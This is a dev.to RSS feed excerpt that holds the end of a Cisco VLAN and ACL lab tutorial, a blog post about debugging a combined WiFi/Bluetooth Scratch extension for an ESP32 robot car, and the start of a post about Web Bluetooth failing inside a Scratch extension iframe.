&lt;span class="k"&gt;Router(config-if)#&lt;/span&gt; ip access-group 100 in
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5.2: Rule 2 – Restrict Web Server Access
&lt;/h3&gt;

&lt;p&gt;Only VLAN 10 can reach web server; visitors (VLAN 20) cannot&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="c1"&gt;! Deny visitors from reaching server VLAN&lt;/span&gt;
&lt;span class="k"&gt;Router(config)#&lt;/span&gt; access-list 101 &lt;span class="ow"&gt;deny&lt;/span&gt; ip &lt;span class="m"&gt;10.10.20.0&lt;/span&gt; &lt;span class="m"&gt;0.0.0.255&lt;/span&gt; &lt;span class="m"&gt;10.10.10.0&lt;/span&gt; &lt;span class="m"&gt;0.0.0.255&lt;/span&gt;
&lt;span class="k"&gt;Router(config)#&lt;/span&gt; access-list 101 &lt;span class="ow"&gt;permit&lt;/span&gt; ip any any
&lt;span class="k"&gt;Router(config)#&lt;/span&gt; interface gi0/1.20
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; ip access-group 101 in
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5.3: Rule 3 – Local VM Access from VLAN 20
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;No action needed&lt;/strong&gt;—inter-VLAN routing already allows this.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 6: Testing &amp;amp; Verification
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Test 1: Within VLAN 10
&lt;/h3&gt;

&lt;p&gt;From WEB-SERVER-01: Can other VLAN 10 devices ping? Yes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 2: Across VLANs
&lt;/h3&gt;

&lt;p&gt;From CLIENT-01 (VLAN 20):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ping 10.10.10.10     → Success
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Test 3: Web Access
&lt;/h3&gt;

&lt;p&gt;From CLIENT-01 browser: &lt;code&gt;http://10.10.10.10&lt;/code&gt; → IIS page loads&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 4: Verify ACLs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Router#&lt;/span&gt; show access-lists
&lt;span class="k"&gt;Router#&lt;/span&gt; show ip interface gi0/1.20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  📊 Final Architecture
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│                      INTERNET                            │
│                        ↓                                 │
│              [Router] ACL 100 (permits /27)             │
│                        ↓                                 │
│   ┌────────────────────┴────────────────────┐          │
│   ↓ (gi0/1.10)                              ↓ (gi0/1.20)│
│ ┌──────────────────┐              ┌──────────────────┐  │
│ │ VLAN 10 - /24    │              │ VLAN 20 - /24    │  │
│ │ 10.10.10.0/24    │              │ 10.10.20.0/24    │  │
│ │                  │              │                  │  │
│ │ [WEB-SERVER-01]  │◄───ping───►  │ [CLIENT-01]      │  │
│ │ 10.10.10.10      │              │ 10.10.20.50      │  │
│ │ IIS: Port 80     │              │                  │  │
│ └──────────────────┘              └──────────────────┘  │
│                                                          │
│              [VTP Server Switch] - VLANs 10,20,30       │
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ⚠️ Troubleshooting Tips
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Solution&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;VMs can't ping&lt;/td&gt;
&lt;td&gt;Check VLAN assignment, trunk config, subnet masks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VTP not syncing&lt;/td&gt;
&lt;td&gt;Verify domain name, password, trunk ports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IIS not reachable&lt;/td&gt;
&lt;td&gt;Check Windows Firewall, port 80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACL blocking everything&lt;/td&gt;
&lt;td&gt;Verify rule order and subnet masks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;Want me to clarify any step or help with Cisco vs. Huawei/other vendor syntax?&lt;/p&gt;

</description>
      <category>infrastructure</category>
      <category>networking</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Building a Dual-Mode (WiFi + Bluetooth) Scratch Extension for My ESP32 Robot</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Wed, 09 Sep 2026 06:41:15 +0000</pubDate>
      <link>https://dev.to/ekko1500/building-a-dual-mode-wifi-bluetooth-scratch-extension-for-my-esp32-robot-2b0g</link>
      <guid>https://dev.to/ekko1500/building-a-dual-mode-wifi-bluetooth-scratch-extension-for-my-esp32-robot-2b0g</guid>
      <description>&lt;p&gt;I built &lt;strong&gt;KanKaung&lt;/strong&gt;, an ESP32-based robot car that kids control with Scratch-style blocks — rotate a servo, blink an LED, read a sensor. It supports two ways to talk to it: &lt;strong&gt;WiFi&lt;/strong&gt; and &lt;strong&gt;Bluetooth&lt;/strong&gt;. This post is the story of turning that into one clean extension instead of two, and every bug I ran into along the way. I'm writing it mostly so future-me doesn't repeat these mistakes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The starting point
&lt;/h2&gt;

&lt;p&gt;The firmware originally drove two continuous-rotation servos through a simple command set:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;left_servo cw|ccw|stop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;right_servo cw|ccw|stop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;left_servo_speed 0-100&lt;/code&gt;, &lt;code&gt;right_servo_speed 0-100&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;led_on|led_off green|red|all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sensor_distance&lt;/code&gt;, &lt;code&gt;sensor_ir_left&lt;/code&gt;, &lt;code&gt;sensor_ir_right&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both the WiFi path (plain HTTP &lt;code&gt;GET /cmd?action=...&amp;amp;value=...&lt;/code&gt;) and the Bluetooth path (a BLE characteristic you write a plain string to, like &lt;code&gt;"left_servo cw"&lt;/code&gt;) spoke the exact same vocabulary. That symmetry mattered a lot later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I wanted one extension instead of two
&lt;/h2&gt;

&lt;p&gt;I had &lt;code&gt;kankaung-extension-wifi.js&lt;/code&gt; and &lt;code&gt;kankaung-extension-bluetooth.js&lt;/code&gt; as separate files. Same blocks, copy-pasted twice, differing only in how they sent commands. The real problem: if a kid built a whole program using the WiFi extension and then wanted to switch to Bluetooth, they had to rebuild everything from scratch — the blocks were tied to a specific extension ID.&lt;/p&gt;

&lt;p&gt;So the plan was: &lt;strong&gt;one extension, one block set, and pick the transport once.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Mistake #1: I first tried a dropdown on a "connect" block
&lt;/h2&gt;

&lt;p&gt;My first design had a &lt;code&gt;connect via [WiFi/Bluetooth] (IP: [IP])&lt;/code&gt; block that kids would drag in. It worked, technically — but it didn't match how the app was actually meant to be used. The intent was: &lt;strong&gt;you connect once when the extension loads, and never think about it again.&lt;/strong&gt; Having a "connect" block meant re-running it every time, which didn't make sense for something that should just be a one-time setup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; figure out the actual intended UX before building the mechanism. I built the dropdown-on-a-block version first and had to rip it out later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mistake #2: two systems fighting over the same state
&lt;/h2&gt;

&lt;p&gt;While ripping out the connect block, I found something worse: there was &lt;em&gt;also&lt;/em&gt; a host-page popup modal that asked "WiFi or Bluetooth?" when the extension loaded — built earlier, in parallel, and left in place. Both the block's dropdown &lt;strong&gt;and&lt;/strong&gt; the modal were trying to set which transport the extension used (&lt;code&gt;this.transport&lt;/code&gt;), and whichever fired &lt;em&gt;last&lt;/em&gt; silently won.&lt;/p&gt;

&lt;p&gt;Symptom: connect via Bluetooth successfully, then run any block, and get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: Not connected - use the connect block first
    at kankaung-wifi.js:103
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bluetooth had connected. But something, somewhere, quietly flipped the transport back to &lt;code&gt;"wifi"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; when two independent pieces of code can both set the same flag, one of them is a bug waiting to happen. Pick one source of truth. In the end, the modal became the &lt;em&gt;only&lt;/em&gt; thing allowed to set the transport, and I deleted the connect block entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mistake #3: connecting doesn't mean commands work
&lt;/h2&gt;

&lt;p&gt;Once transport-selection was untangled, I still had command blocks that just... did nothing. No error. No movement. Nothing.&lt;/p&gt;

&lt;p&gt;Turned out there wasn't a bug in the extension or the firmware at all — there was a &lt;strong&gt;missing file&lt;/strong&gt;. The extension only does &lt;code&gt;postMessage()&lt;/code&gt; to the parent page; something else has to catch that message and actually call &lt;code&gt;fetch()&lt;/code&gt; or the Web Bluetooth API. I hadn't looked at that bridge code yet.&lt;/p&gt;

&lt;p&gt;When I finally got it, I found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;wifiSendHandler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;kankaungWiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;...completed:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This calls &lt;code&gt;.send()&lt;/code&gt; and logs it — but &lt;strong&gt;never tells the extension the command finished.&lt;/strong&gt; The extension's &lt;code&gt;sendCommand()&lt;/code&gt; returns a Promise that only resolves when a &lt;code&gt;KANKAUNG_WIFI_DONE&lt;/code&gt; message comes back. Since that message was never sent, every command's Promise just hung forever. From inside Scratch, a block that never finishes looks exactly like "nothing happened" — even though the robot might have physically moved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; "the command was sent" and "the caller knows it finished" are two different things, and skipping the second one produces a bug that looks nothing like its actual cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mistake #4: a real race condition in the Bluetooth code
&lt;/h2&gt;

&lt;p&gt;Testing Bluetooth specifically, I hit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bluetooth connect failed: GATT Server is disconnected. Cannot retrieve services.
(Re)connect first with `device.gatt.connect`.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a known ESP32-BLE-vs-Chrome timing issue: &lt;code&gt;device.gatt.connect()&lt;/code&gt; can report success a moment before the link has actually settled, so the very next call (&lt;code&gt;getPrimaryService()&lt;/code&gt;) can land on a connection that's already gone.&lt;/p&gt;

&lt;p&gt;Fix: add a short delay after connecting, and retry the whole connect-and-discover sequence a couple of times with backoff before giving up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;_connectGattWithRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;gatt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// let it settle&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;gatt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connected&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dropped&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getPrimaryService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SERVICE_UUID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="c1"&gt;// ...get characteristics...&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mistake #5: a stuck queue when a BLE notification gets dropped
&lt;/h2&gt;

&lt;p&gt;Related bug, same file: the Bluetooth command queue only released its "busy" flag when a notification came back from the ESP32 confirming the command finished. If even one notification got dropped (easy right after connecting, before the subscription has fully settled), &lt;code&gt;busy&lt;/code&gt; stayed &lt;code&gt;true&lt;/code&gt; forever — and every command after that one just silently queued up and never got sent, not just the first one.&lt;/p&gt;

&lt;p&gt;Fix: a bounded timeout. If no reply shows up in a few seconds, resolve anyway and let the queue keep moving instead of wedging permanently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_pendingTimeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pendingResolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resolve&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pendingResolve&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pendingResolve&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;timeout&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// release busy, keep the queue going&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mistake #6: the classic — I forgot to actually deploy the fix
&lt;/h2&gt;

&lt;p&gt;After several rounds of edits, I hit the exact same "Not connected" error again, even after supposedly fixing it. The extension's own diagnostic log (&lt;code&gt;[Extension] Transport mode set to: bluetooth&lt;/code&gt;) never appeared — meaning the message wasn't even being handled.&lt;/p&gt;

&lt;p&gt;The bug wasn't in the code at all. It was that the &lt;strong&gt;file actually running on the server&lt;/strong&gt; was an older version from a step &lt;em&gt;in between&lt;/em&gt; two fixes — I'd removed the mode-setting listener in one pass, then added it back in a later pass, but the redeployed file never made it to the actual path the browser was loading from.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; when a bug you already fixed comes back exactly the same way, check whether your fix actually got deployed before you start debugging the logic again. Searching the &lt;em&gt;live&lt;/em&gt; file for the exact string you expect to have added (&lt;code&gt;grep&lt;/code&gt;, or just Ctrl+F in the file) takes ten seconds and saves an hour.&lt;/p&gt;

&lt;h2&gt;
  
  
  The final architecture
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;One extension file&lt;/strong&gt;, one block set: &lt;code&gt;rotate left/right servo [cw/ccw/stop]&lt;/code&gt;, &lt;code&gt;stop left/right servo&lt;/code&gt;, &lt;code&gt;set left/right servo speed&lt;/code&gt;, LED blocks, sensor blocks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No connect block.&lt;/strong&gt; The extension posts &lt;code&gt;KANKAUNG_EXTENSION_LOADED&lt;/code&gt; the moment it loads; the host page catches that and shows a one-time mode-selection popup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The popup is the single source of truth&lt;/strong&gt; for transport — it posts &lt;code&gt;KANKAUNG_SET_MODE&lt;/code&gt; to the extension &lt;em&gt;and&lt;/em&gt; fires the real connect (&lt;code&gt;KANKAUNG_WIFI_CONNECT&lt;/code&gt; / &lt;code&gt;KANKAUNG_CONNECT&lt;/code&gt;) in the same click handler.&lt;/li&gt;
&lt;li&gt;Every block internally checks &lt;code&gt;this.transport&lt;/code&gt; and routes to either the WiFi channel (&lt;code&gt;KANKAUNG_WIFI_*&lt;/code&gt; messages → HTTP &lt;code&gt;fetch()&lt;/code&gt;) or the Bluetooth channel (&lt;code&gt;KANKAUNG_*&lt;/code&gt; messages → Web Bluetooth &lt;code&gt;writeValue()&lt;/code&gt;), completely invisibly to the person dragging blocks around.&lt;/li&gt;
&lt;li&gt;Both channels always reply with a &lt;code&gt;_DONE&lt;/code&gt; or &lt;code&gt;_ERROR&lt;/code&gt; message so the extension's promises actually resolve.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Quick checklist for next time
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Does every "send a command" path have a matching "here's your reply" path? A promise with no way to resolve is a silent hang, not an error.&lt;/li&gt;
&lt;li&gt;[ ] Is there more than one place that can set the same piece of state? If yes, that's a race condition waiting to happen — pick one owner.&lt;/li&gt;
&lt;li&gt;[ ] For BLE specifically: never assume &lt;code&gt;connect()&lt;/code&gt; resolving means the link is stable. Add a settle delay and a retry.&lt;/li&gt;
&lt;li&gt;[ ] For any queue that waits on an external reply: always have a timeout fallback. "Waiting forever" should never be a valid state.&lt;/li&gt;
&lt;li&gt;[ ] Before debugging logic again, check that your last fix is actually the file being served. &lt;code&gt;grep&lt;/code&gt; the live file for a string you know you added.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>esp32</category>
      <category>arduino</category>
      <category>javascript</category>
      <category>scratch</category>
    </item>
    <item>
      <title>Problem: Scratch Extension Cannot Communicate with scratch-gui / Web Bluetooth Situation</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Fri, 31 Jul 2026 08:33:28 +0000</pubDate>
      <link>https://dev.to/ekko1500/problem-scratch-extension-cannot-communicate-with-scratch-gui-web-bluetoothsituation-5fo5</link>
      <guid>https://dev.to/ekko1500/problem-scratch-extension-cannot-communicate-with-scratch-gui-web-bluetoothsituation-5fo5</guid>
      <description>&lt;p&gt;I was developing a custom Scratch extension:&lt;/p&gt;

&lt;p&gt;kankaung-extension-bt.js&lt;br&gt;
inside a modified scratch-gui.&lt;/p&gt;

&lt;p&gt;Goal:&lt;/p&gt;

&lt;p&gt;Scratch Blocks&lt;br&gt;
      ↓&lt;br&gt;
KanKaung Extension&lt;br&gt;
      ↓&lt;br&gt;
Web Bluetooth&lt;br&gt;
      ↓&lt;br&gt;
ESP32 BLE&lt;br&gt;
The ESP32 BLE connection worked when testing directly in Chrome:&lt;/p&gt;

&lt;p&gt;navigator.bluetooth.requestDevice()&lt;br&gt;
but when running from Scratch blocks, it failed.&lt;/p&gt;

&lt;p&gt;Problem 1: Web Bluetooth worked in console but not from Scratch block&lt;br&gt;
Error&lt;br&gt;
Permissions policy violation:&lt;br&gt;
bluetooth is not allowed in this document&lt;br&gt;
or:&lt;/p&gt;

&lt;p&gt;SecurityError:&lt;br&gt;
Failed to execute requestDevice()&lt;br&gt;
Cause&lt;br&gt;
Scratch extensions are not running in the main browser window.&lt;/p&gt;

&lt;p&gt;The extension is loaded inside an iframe:&lt;/p&gt;

&lt;p&gt;window === top&lt;br&gt;
false&lt;br&gt;
Meaning:&lt;/p&gt;

&lt;p&gt;Browser Window&lt;br&gt;
│&lt;br&gt;
├── scratch-gui&lt;br&gt;
│&lt;br&gt;
└── Extension iframe&lt;br&gt;
        |&lt;br&gt;
        └── kankaung-extension-bt.js&lt;br&gt;
The iframe has different permissions and cannot directly access Web Bluetooth.&lt;/p&gt;

&lt;p&gt;Problem 2: Trying to access Scratch VM&lt;br&gt;
I tried:&lt;/p&gt;

&lt;p&gt;Scratch.vm&lt;br&gt;
or:&lt;/p&gt;

&lt;p&gt;Scratch.runtime&lt;br&gt;
Result:&lt;/p&gt;

&lt;p&gt;undefined&lt;br&gt;
Cause&lt;br&gt;
External extensions only receive the public Scratch API:&lt;/p&gt;

&lt;p&gt;Scratch.BlockType&lt;br&gt;
Scratch.ArgumentType&lt;br&gt;
Scratch.extensions.register()&lt;br&gt;
They do NOT receive:&lt;/p&gt;

&lt;p&gt;vm&lt;br&gt;
runtime&lt;br&gt;
redux store&lt;br&gt;
Wrong Approach&lt;br&gt;
Trying:&lt;/p&gt;

&lt;p&gt;window.dispatchEvent(&lt;br&gt;
    new CustomEvent("KANKAUNG_CONNECT")&lt;br&gt;
)&lt;br&gt;
and listening in:&lt;/p&gt;

&lt;p&gt;scratch-gui&lt;br&gt;
did not work.&lt;/p&gt;

&lt;p&gt;Why?&lt;br&gt;
Because events stay inside the iframe.&lt;/p&gt;

